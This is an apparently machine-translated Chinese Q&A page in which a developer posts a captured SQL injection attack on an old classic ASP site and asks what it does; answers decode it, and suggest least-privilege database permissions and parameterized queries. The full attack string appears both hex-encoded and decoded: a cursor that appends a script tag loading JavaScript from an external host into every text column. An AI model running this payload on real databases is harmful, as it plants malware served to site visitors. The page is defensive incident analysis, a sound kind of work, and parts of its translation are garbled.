2011-12-05 76 views
46

我想在这里发表,因为它与编码有很大关系,并且是我本周在我公司的一个旧的ASP(经典)站点上清理的东西。有人可以向我解释这个SQL注入攻击吗?

我们碰到了几天前刚刚运行的SQL注入攻击,但我正在摸索我的头脑究竟是什么'损害'到SQL服务器(通过这些SQL查询)。

说实话,我认为这是非常巧妙的方式进行,它的我的公司有一个10年前的老旧网站,几乎没有消毒输入的错误。

攻击:

122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e 6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-

其解码到什么:(我想知道什么)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

我们已经恢复备份(预喷射),并在整个应用程序去和消毒所有输入的语句。我们的服务器被防火墙,所以没有直接的SQL访问,但我想知道还有什么可以遗留下来,我不得不承认SQL查询是在我的头上。

有人可以采取一个破解它,并解释我的攻击SQL?

道歉,我更新了完全转储& SQL

+1

它似乎将一个JavaScript文件附加到HTML文件AFAICT的某个部分。 – Blender

+0

'SELECT 0xFF;'用MySQL返回'''',你可能想探索这条路径。 –

+2

可能帮助,如果你摆脱了剪断和发布整个事情 – griegs

回答

57

只是格式化的可读性会澄清了很多:

set ansi_warnings off 

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR 
    select c.TABLE_NAME, c.COLUMN_NAME 
     from INFORMATION_SCHEMA.columns c, 
      INFORMATION_SCHEMA.tables t 
    where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') 
     and c.CHARACTER_MAXIMUM_LENGTH > 30 
     and t.table_name = c.table_name 
     and t.table_type = 'BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC ('UPDATE [' + @T + '] 
       SET [' + @C + '] = 
        ''"></title>'' + 
        ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + 
        ''<!--'' + 
        RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) 
      WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) 
        <> ''"></title><script'' 
      ' 
     ) 

    FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor 

它经过的每个表的每一个文本列,并插入一些HTML进入它— HTML包含一个指向外部生成的JavaScript的指针。

+18

+1,就像你花了一些时间格式化,欢呼! – ComputerSaysNo

+1

+1也是你为我们格式化的;) – Jakub

15

它通过循环的所有列的所有表中加入了<script>标签的源点在恶意JS文件更新自己的价值。

最重要的一点是

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

我猜的东西来到这里省略,声明可能喜欢的东西(“VARCHAR”,“焦”,“文字”)或类似的东西结束,从而使它只是试图更新包含文本的列。他们希望其中的一列能够保存文本,并将其引入到您的网站中,因此在将它们的JS引用添加到您的网站后,它将包含在各种页面的源代码中。

要解决这个问题,你应该做类似的事情 - 循环遍历所有包含文本的列,并用空字符串替换注入的脚本。谷歌将成为你的朋友,但这里有一个很好看的链接,应该是有帮助的,建立一个脚本来做到这一点。

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

+2

好,我们回滚到以前的数据库备份,这很好,我只是担心SQL做了一些事情比追加'varchar'字段 – Jakub

4

考虑安装URLScan 3.1以快速保护您的应用程序免受sql注入尝试,以及通过您的应用程序来正确清理sql语句。

这种类型的sql注入攻击通常也适用,因为你的数据库用户的权限过于宽松, DBO权利。请使用数据库用户从您的应用程序连接到您的数据库,只有必要的权限才能运行您的应用程序。您可以创建一个数据库用户,只将它映射到您的数据库的公有权限,而不是像下面那样运行一个脚本,以将必要的个人权限应用到您需要的每个对象。

DECLARE @LOGIN varchar(255) 
DECLARE @DB varchar(255) 

SELECT @LOGIN = 'yourdbuser' 
SELECT @DB = 'yourdb' 

/* set default database */ 
EXEC sp_defaultdb @LOGIN, @DB 

/* drop system admin role */ 
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' 

/* drop database owner role */ 
EXEC sp_droprolemember 'db_owner', @LOGIN 

/* grant execute on all non system stored procedures and scalar functions */ 
DECLARE @SP varchar(255) 
DECLARE Proc_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='P' or type='FN') 
AND category <> 2 -- system 
OPEN Proc_Cursor 
FETCH NEXT FROM Proc_Cursor INTO @SP 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Proc_Cursor INTO @SP 
END 
CLOSE Proc_Cursor 
DEALLOCATE Proc_Cursor 

/* grant select on table functions */ 
DECLARE @TF varchar(255) 
DECLARE Tf_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='TF') 
AND category <> 2 -- system 
OPEN Tf_Cursor 
FETCH NEXT FROM Tf_Cursor INTO @TF 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Tf_Cursor INTO @SP 
END 
CLOSE Tf_Cursor 
DEALLOCATE Tf_Cursor 

/* grant select/update/insert/delete on all user defined tables */ 
DECLARE @T varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='U' or type='V') -- user defined tables and views 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Table_Cursor INTO @T 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

/* deny access to system tables */ 
DENY SELECT ON syscolumns TO yourdbuser 
DENY SELECT ON sysobjects TO yourdbuser 

DENY VIEW DEFINITION TO yourdbuser 

DENY SELECT ON sys.databases TO yourdbuser 
DENY SELECT ON sys.columns TO yourdbuser 
DENY SELECT ON sys.objects TO yourdbuser 
DENY SELECT ON sys.sql_logins TO yourdbuser 
DENY SELECT ON sys.all_columns TO yourdbuser 
DENY SELECT ON sys.all_objects TO yourdbuser 
DENY SELECT ON sys.all_parameters TO yourdbuser 
DENY SELECT ON sys.all_views TO yourdbuser 

很明显,针对您的特定应用程序进行测试,因为您可能有需要从这些sys表中进行选择的过程。

0

看看如何改变你的查询;

Dim oConn, oRS, SQL 
'Query open to attack 
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") 

Set oConn = Server.CreateObject("ADODB.Connection") 
Call oConn.Open(conn_string_from_inc) 

Set oRS = oConn.Execute(SQL)  

Call oConn.Close() 
Set oConn = Nothing 

对于这样的事情;

Dim oCmd, oRS, SQL 
SQL = "SELECT * FROM [Table] WHERE [id] = ?" 

Set oCmd = Server.CreateObject("ADODB.Command") 
With oCmd 
    .ActiveConnection = conn_string_from_inc 
    .CommandType = adCmdText 
    .CommandText = SQL 
    Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) 
    .Parameters("@id").Value = Request.QueryString("id") 
    Set oRS = .Execute() 
End With 
Set oCmd = Nothing 

这只是一个粗略的例子,在不诉诸清洁输入的情况下对抗SQL注入。我仍然会以不同的方式处理。

相关问题